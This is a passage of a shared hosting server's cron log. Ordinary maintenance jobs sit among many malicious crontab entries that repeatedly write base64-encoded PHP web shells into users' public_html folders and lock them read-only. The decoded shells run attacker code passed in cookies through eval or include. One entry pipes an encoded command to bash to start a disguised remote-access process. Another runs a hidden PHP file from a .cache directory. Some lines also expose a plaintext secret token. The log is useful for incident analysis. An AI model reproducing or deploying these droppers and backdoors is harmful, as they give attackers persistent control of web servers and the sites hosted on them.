XI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:00:02 medusa CROND[17529]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 21:00:02 medusa CROND[17530]: (roble) CMD ({ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMTc3IGRlZnVuY3QgMj4vZGV2L251bGwgfHwgU0hFTEw9IFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL2hvbWU4L3JvYmxlLy5jb25maWcvaHRvcC9kZWZ1bmN0LmRhdCAtbGlxRCIgL3Vzci9iaW4vYmFzaCAtYyAiZXhlYyAtYSAnW21tX3BlcmNwdV93cV0nICcvaG9tZTgvcm9ibGUvLmNvbmZpZy9odG9wL2RlZnVuY3QnIiAyPi9kZXYvbnVsbAo=|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel)
Mar  1 21:00:02 medusa CROND[17531]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  1 21:00:02 medusa CROND[17532]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 21:00:02 medusa CROND[17533]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  1 21:00:02 medusa CROND[17534]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:00:02 medusa CROND[17540]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/monedas/cron.php >/dev/null 2>&1)
Mar  1 21:00:02 medusa CROND[17525]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 21:00:02 medusa CROND[17545]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 21:00:02 medusa CROND[17522]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 21:00:02 medusa CROND[17553]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 21:00:02 medusa CROND[17558]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:00:02 medusa CROND[17557]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  1 21:00:02 medusa CROND[17493]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 21:01:02 medusa CROND[3841]: (root) CMD (run-parts /etc/cron.hourly)
Mar  1 21:01:02 medusa run-parts(/etc/cron.hourly)[3841]: starting 0anacron
Mar  1 21:01:02 medusa run-parts(/etc/cron.hourly)[3906]: finished 0anacron
Mar  1 21:01:02 medusa CROND[3938]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 21:01:02 medusa CROND[3939]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:01:02 medusa CROND[3944]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 21:01:02 medusa CROND[3945]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 21:01:02 medusa CROND[3942]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 21:01:02 medusa CROND[3953]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 21:01:02 medusa CROND[3954]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:01:02 medusa CROND[3959]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:01:02 medusa CROND[3960]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 21:01:02 medusa CROND[3971]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 21:01:02 medusa CROND[3973]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 21:01:02 medusa CROND[3975]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:01:02 medusa CROND[3977]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 21:02:01 medusa CROND[22135]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 21:02:01 medusa CROND[22136]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 21:02:01 medusa CROND[22137]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 21:02:01 medusa CROND[22138]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:02:01 medusa CROND[22139]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 21:02:01 medusa CROND[22141]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 21:02:01 medusa CROND[22146]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 21:02:01 medusa CROND[22147]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 21:02:01 medusa CROND[22148]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
